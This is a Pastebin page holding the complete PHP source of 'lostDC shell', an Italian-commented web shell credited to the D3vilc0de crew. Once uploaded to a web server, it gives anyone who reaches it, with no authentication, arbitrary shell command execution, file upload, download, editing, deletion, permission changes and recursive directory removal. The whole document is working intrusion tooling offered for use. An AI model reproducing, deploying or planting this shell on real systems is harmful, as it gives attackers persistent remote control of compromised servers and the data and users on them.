Advertisement
blackcyberrootshell

[ + ] LOSTDC Shell [ + ]

Mar 3rd, 2015
261
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 19.82 KB | None | 0 0
  1.  <?php
  2.  
  3. /* *
  4.  *
  5.  * lostDC shell
  6.  * PHP Shell scritta da lostpassword, D3vilc0de crew
  7.  * Rilasciata sotto licenza GPL 2009/2010
  8.  * Data rilascio: 25/12/2009 (eh si, il giorno di natale non avevo niente da fare)
  9.  * La Shell presenta varie funzioni, ma rimane comunque in continuo aggiornamento
  10.  *
  11.  * */
  12.  
  13. if (!function_exists("getTime")) {
  14.     function getTime() {
  15.         list($usec, $sec) = explode(" ", microtime());
  16.         return ((float)$usec + (float)$sec);
  17.      }
  18. }
  19. define("startTime",getTime());
  20.  
  21. if (!function_exists("shellexec")) {
  22.     function shellexec($cmd) {
  23.          global $disablefunc;
  24.          $result = "";
  25.          if (!empty($cmd)) {
  26.               if (is_callable("exec") and !in_array("exec",$disablefunc)) {
  27.                   exec($cmd,$result);
  28.                   $result = join("\n",$result);
  29.               } elseif (($result = `$cmd`) !== FALSE) {}
  30.               elseif (is_callable("system") and !in_array("system",$disablefunc)) {
  31.                   $v = ob_get_contents();
  32.                   ob_clean();
  33.                   system($cmd);
  34.                   $result = ob_get_contents();
  35.                   ob_clean();
  36.                   echo $v;
  37.               } elseif (is_resource($fp = popen($cmd,"r"))) {
  38.                    $result = "";
  39.                    while(!feof($fp)) {
  40.                        $result .= fread($fp,1024);
  41.                    }
  42.                    pclose($fp);
  43.               }
  44.          }
  45.          return $result;
  46.     }
  47. }
  48.  
  49. function getperms ($file) {        
  50.     $perm = substr(sprintf('%o', fileperms($file)), -4);
  51.     return $perm;
  52. }
  53.  
  54. if (!function_exists("view_size")) {
  55.     function view_size($size){
  56.          if (!is_numeric($size)) {
  57.              return FALSE;
  58.          } else {
  59.               if ($size >= 1073741824) {
  60.                   /* Conversione da Byte a GigaByte */
  61.                   $size = round($size/1073741824*100)/100 ." GB";
  62.               } elseif ($size >= 1048576) {
  63.                   /* Conversione da Byte a MegaByte */
  64.                   $size = round($size/1048576*100)/100 ." MB";
  65.               } elseif ($size >= 1024) {
  66.                   /* Conversione da Byte a KiloByte */
  67.                   $size = round($size/1024*100)/100 ." KB";
  68.               } else {
  69.                   /* Byte */
  70.                   $size = $size . " B";
  71.               }
  72.               return $size;
  73.          }
  74.     }
  75. }
  76.  
  77. function getinfo()
  78. {
  79.     $info  = '';
  80.     $info .= '[~]Versione PHP: ' .phpversion() .'<br />';
  81.     $info .= '[~]Server: ' .$_SERVER['HTTP_HOST'] .'<br />';
  82.     $info .= '[~]Indirizzo IP: ' .$_SERVER['SERVER_ADDR'] .'<br />';
  83.     $info .= '[~]Software: ' .$_SERVER['SERVER_SOFTWARE'].'<br />';
  84.     $info .= '[~]Charset: ' .$_SERVER['HTTP_ACCEPT_CHARSET'] . '<br />';
  85.     $info .= ((ini_get('safe_mode') == 0) ? '[~]Safe Mode: <font color="#00FF33">OFF</font><br />'    : '[~]Safe Mode: <font color="#FF3300">OFF</font><br />');
  86.     $info .= ((ini_get('magic_quotes_gpc') == 0) ? '[~]Magic Quotes: <font color="#00FF33">OFF</font><br />' : '[~]Magic Quotes: <font color="#FF3300">ON</font><br />');
  87.     if (is_callable("disk_free_space")) {
  88.         $d = realpath(".");
  89.          $free = disk_free_space($d);
  90.          $total = disk_total_space($d);
  91.          if ($free === FALSE || $free < 0) {
  92.              $free = 0;
  93.          }
  94.          if ($total === FALSE || $total < 0) {
  95.              $total = 0;
  96.          }
  97.          $used = $total-$free;
  98.          $info .= "[~]Free space: ".view_size($free)."/".view_size($total)."<br />";
  99.     }
  100.     return $info;
  101. }
  102.  
  103. if (!isset ($_GET ['dir'])){
  104.     $dir = getcwd ();
  105. }
  106. else {
  107.     $dir = $_GET ['dir'];
  108. }
  109. chdir ($dir);
  110.  
  111. $current = getcwd ();
  112. $c = "?dir=" . $current;
  113.  
  114. $home = "<html>
  115.    <head>
  116.        <title>lostDC - ".$current."</title>
  117.        <style type=\"text/css\">
  118.        body {
  119.            color: #FFFFFF;
  120.            background-color: black;
  121.            font-family: Courier New, Verdana, Arial;
  122.            font-size: 11px;
  123.            cursor: crosshair;
  124.        }
  125.        a:link {
  126.            color: #FFFFFF;
  127.            text-decoration: none;
  128.        }
  129.        a:visited {
  130.            color: #FFFFFF;
  131.            text-decoration: none;
  132.        }
  133.        a:hover {
  134.            cursor: crosshair;
  135.             text-decoration: none;
  136.            color: #808080;
  137.        }
  138.        a.head {
  139.            text-decoration: none;
  140.            text-color: #FF0000;
  141.        }
  142.        a.head:hover {
  143.            cursor: crosshair;
  144.            text-decoration: none;
  145.            color: #FF0000;
  146.        }
  147.        table {
  148.            font-size: 11px;
  149.        }
  150.        td.list {
  151.            border: 1px solid white;
  152.            font-size: 11px;
  153.        }
  154.        td.list:hover {
  155.            background: #222;
  156.        }
  157.        #info {
  158.            font-size:            12px;
  159.            width:                50%;
  160.            margin-left:        20%;
  161.            text-align: left;
  162.        }
  163.        #foot {
  164.            font-size:            12px;
  165.            width:                65%;
  166.            margin-left:        20%;
  167.            text-align: left;
  168.        }
  169.        input:hover, textarea:hover {
  170.            background: #808080;
  171.            cursor: crosshair;
  172.        }
  173.        #perm {
  174.            color: #FF0000;
  175.        }
  176.  
  177.    </style>
  178.    </head>
  179.    <body>";
  180.  
  181. print $home."<center><a href = \"".$_SERVER['PHP_SELF']."\"><img src = \"http://img367.imageshack.us/img367/9834/bannerdc2bygu.png\" border = \"none\"></a></center>";
  182. print "<hr size=\"1\" width=\"60%\" noshade />\n<div id = \"info\">[~]Directory corrente: " . getcwd () . "<br />".getinfo()."</div>\n<hr size=\"1\" width=\"60%\" noshade />";
  183.  
  184. print "<table width = 60% height = 10% align = \"center\">\n";
  185. print "<tr>\n";
  186. print "<td>[ <a class = \"head\" href = '" . $c . "&mode=create'>New</a> ]</td>\n";
  187. print "<td>[ <a class = \"head\" href = '" . $c . "&mode=phpinfo'>PHP Info</a> ]</td>\n";
  188. print "<td>[ <a class = \"head\" href = '" . $c . "&mode=nopaste&action=ins'>No-Paste</a> ]</td>\n";
  189. print "<td>[ <a class = \"head\" href = '" . $c . "&mode=execute'>Shell Command</a> ]</td>\n";
  190. print "<td>[ <a class = \"head\" href = '" . $c . "&mode=hasher'>Hasher</a> ]</td>\n";
  191. print "<td>[ <a class = \"head\" href = '" .$c . "&mode=selfremove'>Self Remove</a> ]</td>\n";
  192. print "</tr></table><center>";
  193.  
  194. $mode = $_GET ['mode'];
  195. switch ($mode) {
  196.     case "edit":
  197.         $file = $_GET ['file'];
  198.         $new = $_POST ['new'];
  199.         if (empty ($new)) {
  200.             $fp = fopen ($file , "r");
  201.             $cont = fread ($fp, filesize ($file));
  202.             $cont = str_replace ("<textarea>" , "<textarea>" , $cont);
  203.             print "<form action = '" . $c . "&mode=edit&file=" . $file . "' method = 'POST'>\n";
  204.             print "File: ". $file . "<br />\n";
  205.             print "<textarea name = 'new' rows = '25' cols = '100'>" . $cont . "</textarea><br />\n";
  206.             print "<input type = 'submit' value = 'Edit'></form>\n";
  207.         }
  208.         else {
  209.             $fp = fopen ($file , "w");
  210.             if (fwrite ($fp , $new)) {
  211.                 header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  212.             }
  213.             else {
  214.                 print "Impossibile editare " . $file . "<br />\n";
  215.                 echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n";
  216.             }
  217.         }
  218.         fclose ($fp);
  219.         break;
  220.     case "upload":
  221.         $temp = $_FILES ['file'] ['tmp_name'];
  222.         $file = basename ($_FILES ['file'] ['name']);
  223.         if (!empty ($file)) {
  224.              if (move_uploaded_file ($temp , $file)) {
  225.                 header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  226.             }
  227.             else {
  228.                 print "Impossibile caricare " . $file . "\n";
  229.                 echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n";
  230.             }
  231.         }
  232.         break;
  233.     case "download":
  234.         $filename = $_GET['filename'];
  235.         header("Pragma: no-cache");
  236.         header("Expires: 0");
  237.         header ( "Content-type: application/octet-stream" );
  238.         header ( "Content-Disposition: attachment; filename=".$filename.";" );
  239.         header ( "Content-Description: Download manager" );
  240.         header ( "Content-Length: " . filesize ($filename) );
  241.         readfile ($filename);
  242.         break;
  243.     case "rename":
  244.         $old = $_GET ['old'];
  245.         print "<form action = '". $c . "&mode=rename&old=" . $old . "' method = 'POST'>\n";
  246.         print "New name: <input name = 'new'><br />\n";
  247.         print "<input type = 'submit' value = 'Rename'></form>\n";
  248.         $new = $_POST ['new'];
  249.         if (!empty ($new)) {
  250.             if (rename ($old , $new)) {
  251.                 header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  252.             }
  253.             else {
  254.                 print "Impossibile rinominare " . $old . ".<p>\n";
  255.                 echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n";
  256.             }
  257.         }
  258.         break;
  259.     case "chmod":
  260.         if (chmod($_POST['tomod'], intval($_POST['mod'], 8)) == false) {
  261.             print "Impossibile cambiare i permessi a " .$_POST['tomod'] . "<br />";
  262.             echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n";
  263.         }
  264.         else {
  265.             header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  266.             // print "".$_POST['tomod']." con permessi: ".intval($_POST['mod'], 8)." e' stato chmoddato\n";
  267.         }
  268.         break;
  269.     case "remove":
  270.         $file = $_GET ['file'];
  271.         if (unlink ($file)) {
  272.             header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  273.         }
  274.         else {
  275.             print "Impossibile rimuovere " . $file . " <br />\n";
  276.             echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n";
  277.         }
  278.         break;
  279.     case "selfremove":
  280.         header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir.'&mode=remove&file='.__FILE__);
  281.         break;
  282.     case "makedir":
  283.         if (mkdir($_POST['dir'], 0777) == false) {
  284.             print "Impossibile creare directory; " .$_POST['dir'] . " <br />\n";
  285.             echo "<a href=\"javascript:history.go(-1)\">Indietro</a><br /><br />\n";
  286.         } else {
  287.             header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);
  288.         }
  289.         break;
  290.     case "godir":
  291.         $goto = $_POST['goto'];
  292.         if (isset($_POST['goto'])) {
  293.             chdir($goto);
  294.             header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].$c.'/'.$goto);
  295.         } else {
  296.             header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);
  297.         }
  298.         break;
  299.     case "elimina":
  300.         $dire = $_GET['dire'];
  301.         if ($handle = opendir($dire)) {
  302.             $array = array();
  303.             while (false != ($file = readdir($handle))) {
  304.                 if ($file != "." && $file != "..") {
  305.                     if(is_dir($dire.$file)) {
  306.                         if(!rmdir($dire.$file)) {
  307.                             delete_directory($dire.$file.'/');
  308.                         }
  309.                     }
  310.                     else {
  311.                         unlink($dire.$file);
  312.                     }
  313.                 }
  314.             }
  315.             closedir($handle);
  316.             rmdir($dire);
  317.         }
  318.         header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  319.         break;
  320.     case "create":
  321.         $new = $_POST ['new'];
  322.         if (isset($_POST['new'])) {
  323.             if (!empty ($new)) {
  324.                 if ($fp = fopen ($new, "w")){
  325.                     header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?dir='.$dir);
  326.                 }
  327.                 else {
  328.                     print "Impossibile creare " . $file . ".<p>\n";
  329.                     echo "<a href=\"javascript:history.go(-1)\">Indietro</a></center><br /><br />\n";
  330.                 }
  331.                 fclose ($fp);
  332.             }
  333.         }
  334.         else {
  335.             print "<form action = '" . $c . "&mode=create' method = 'POST'>\n";
  336.             print "<tr><td>New file: <input name = 'new'></td>\n";
  337.             print "<td><input type = 'submit' value = 'Create'></td></tr></form>\n";
  338.         }
  339.             break;
  340.     case "nopaste":
  341.             switch ($_GET ['action']) {
  342.                 case "ins":
  343.                     print "<form action '" . $c . "&action=ins' method = 'POST'>\n";
  344.                     print "Title: <input type = 'text' name = 'title'><br />\n";
  345.                     print "Language: <input type = 'text' name = 'language'><br />\n";
  346.                     print "Script: <br /><textarea name = 'source' rows = '30' cols = '50'></textarea><br />\n";
  347.                     print "<input type = 'submit' value = 'Submit'></form>\n";
  348.                     if (!empty ($_POST ['title']) && !empty ($_POST ['language']) && !empty ($_POST ['source']))
  349.                     {
  350.                         $file = rand (1000000, 9999999);
  351.                         $fp = fopen ($file, "w");
  352.                         fwrite ($fp, $_POST ['title'] . "\n" . $_POST ['language'] . "\n\n" . $_POST ['source']);
  353.                         fclose ($fp);
  354.                         header ("Location: {$c}&mode=nopaste&action=view&id={$file}");
  355.                     }
  356.                     break;
  357.                 case "view":
  358.                     $id = $_GET ['id'];
  359.                     $fp = fopen ($id, "r");
  360.                     $read = fread ($fp, filesize ($id));
  361.                     print "<table border = '1'>\n<tr>\n<td>\n<pre>" . htmlentities ($read) . "</pre></td>\n</tr>\n</table>\n";
  362.                     fclose ($fp);
  363.                     break;
  364.             }
  365.         break;
  366.     case "execute":
  367.         $command = $_POST ['command'];
  368.         if (!isset ($_POST['command'])) {
  369.             print "<table>\n<form action = '" . $c . "&mode=execute' method = 'POST'>\n";
  370.             print "<tr>\n<td><input type = 'text' name = 'command'></td>\n</tr>\n";
  371.             print "<tr>\n<td><input type = 'submit' value = 'Execute'></td>\n</tr>\n</form>\n</table>";
  372.         }
  373.         else {
  374.             $ret = shellexec($command);
  375.             if ($ret == "") {
  376.                 print "Il comando non puo' essere eseguito sul server<br /><br /><br />\n";
  377.             }
  378.             else {
  379.                 print "Executing the following command:<br />\n";
  380.                 print "<textarea rows = '5' cols = '60'>".$command."</textarea><br />\n";
  381.                 print "Result:<br /> <textarea rows = '5' cols = '60'>".$ret."</textarea><br /><br /><br />\n";
  382.             }
  383.         }
  384.         break;
  385.     case "hasher":
  386.         print "<table>\n<form action = '" . $c . "&mode=hasher' method = 'POST'>\n";
  387.         print "<tr>\n<td><input type = 'text' name = 'hash'></td>\n</tr>\n";
  388.         print "<tr>\n<td><select name = 'type'>\n";
  389.         print "<option>md4</option>\n";
  390.         print "<option>md5</option>\n";
  391.         print "<option>sha1</option>\n";
  392.         print "<option>gost</option>\n";
  393.         print "<option>crc32</option>\n";
  394.         print "<option>adler32</option>\n";
  395.         print "<option>whirlpool</option>\n";
  396.         print "</select></td>\n</tr>";
  397.         print "<tr>\n<td><input type = 'submit' value = 'hash'></td>\n</tr></form>\n</table>";
  398.         if (!empty ($_POST ['hash']) && !empty ($_POST ['type'])) {
  399.             print $_POST ['hash'] . ": " . "<b>" . hash ($_POST ['type'], $_POST ['hash']) . "</b>";
  400.         }
  401.         break;
  402.     case "phpinfo":
  403.         phpinfo();
  404.         break;
  405.     default:
  406.         print "<table style = \"border: 1px solid black;\" width=\"60%\">\n";
  407.         $files = scandir ($dir);
  408.         foreach ($files as $out) {
  409.             if (is_file ($out)) {
  410.                
  411.                 print "<tr>\n<td width = \"55%\" class = \"list\"><a href = " .$c ."&mode=download&filename=".$out.">" . $out ."</a></td>\n";
  412.                 print "<td width = \"10%\" class = \"list\">".view_size(filesize($out))."</td>";
  413.                 print "<td class = \"list\"><div id = \"perm\">" . getperms ($out) . "</div></td>\n";
  414.                 print "<td class = \"list\" align = \"right\"><a href = '" . $c ."&mode=edit&file=" . $out . "'><img src = 'http://img189.imageshack.us/img189/9858/editj.gif' alt = \"edita file\" border = \"none\"></a>
  415.                <a href = '" . $c ."&mode=remove&file=" . $out . "'><img src = 'http://img193.imageshack.us/img193/9589/deletef.gif' alt = \"elimina file\" border = \"none\"></a>
  416.                <a href = '" . $c ."&mode=rename&old=" . $out . "'><img src = 'http://img51.imageshack.us/img51/7241/replyl.gif' alt = \"rinomina file\" border = \"none\"></a>
  417.                </td>\n</tr>";
  418.             }
  419.             else {
  420.                 if ($out != "." && $out != "..") {
  421.                     print "<tr>\n<td width = \"55%\" class = \"list\"><a href = " . $c . "/" .  $out . ">" . $out . "</a></td>\n";
  422.                     print "<td width = \"10%\" class = \"list\">FOLDER</td>";
  423.                     print "<td class = \"list\"><div id = \"perm\">" . getperms ($out) . "</div></td>\n";
  424.                     print "<td class = \"list\" align = \"right\"><a href = '" . $c ."&mode=elimina&dire=" . $out . "'><img src = 'http://img193.imageshack.us/img193/9589/deletef.gif' alt = \"elimina directory\" border = \"none\"></a></td>\n</tr>";
  425.             }
  426.             if ($out == "..")
  427.                 print "<td width = \"55%\" class = \"list\"><a href = " . $c . "/" . $out . ">..</a></td>\n";
  428.             }
  429.         }
  430.     print "</table>\n";
  431. }
  432.  
  433. print "</center>\n<hr size=\"1\" width=\"60%\" noshade />";
  434. print "\n</hr>";
  435. print "<table id = \"foot\">
  436.           <tr>
  437.               <td width = \"40%\">
  438.                   <form action = '" . $c . "&mode=upload' method = 'POST' ENCTYPE='multipart/form-data'>
  439.                           Upload file: <input type = 'file' name = 'file'>
  440.                           <input type = 'submit' value = 'Upload'>
  441.                   </form>
  442.               </td>
  443.               <td width = \"50%\">
  444.                       <form method=\"POST\" action=\"".$c."&mode=chmod\">
  445.                           Chmod File: <input type=\"text\" name=\"tomod\" value = \"filename\">
  446.                           <input type=\"number\" name=\"mod\" value = \"0666\">
  447.                           <input type=\"submit\" name=\"submit\" value=\"Chmod\">
  448.                       </form>
  449.               </td>
  450.           </tr>
  451.           <tr>
  452.                   <td width = \"40%\">
  453.                       <form method=\"POST\" action=\"?dir='.$c.'&mode=makedir\">
  454.                           Mkdir: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type=\"text\" name=\"dir\" value=\"namedir\">
  455.                           <input type=\"submit\" name=\"submit\" value=\"Create\">
  456.                    </form>
  457.                   </td>
  458.                   <td width = \"50%\">
  459.                       <form action = '" . $c . "&mode=create' method = 'POST'>
  460.                        New file:&nbsp;&nbsp; <input name = 'new'>
  461.                        <input type = 'submit' value = 'Create'></form>
  462.                   </td>
  463.           </tr>
  464.           <tr>
  465.            <td>
  466.                <form method = \"POST\" action = \"?dir='.$c.'&mode=godir\">
  467.                    Go dir:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input name = 'goto'>
  468.                    <input type = 'submit' value = 'Go'>
  469.                </form>
  470.            </td>
  471.           </tr>
  472.       </table><hr size=\"1\" width=\"60%\" noshade />\n</hr>";
  473.     print "<center>[ Generation time: ".round(getTime()-startTime,4)." seconds | by <a href=\"http://lostpassword.hellospace.net\">lostpassword</a> and <a href = \"http://www.d3vilc0de.org\">D3vilc0de crew</a> ]</center>\n</body>\n</html>";
  474.  
  475. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement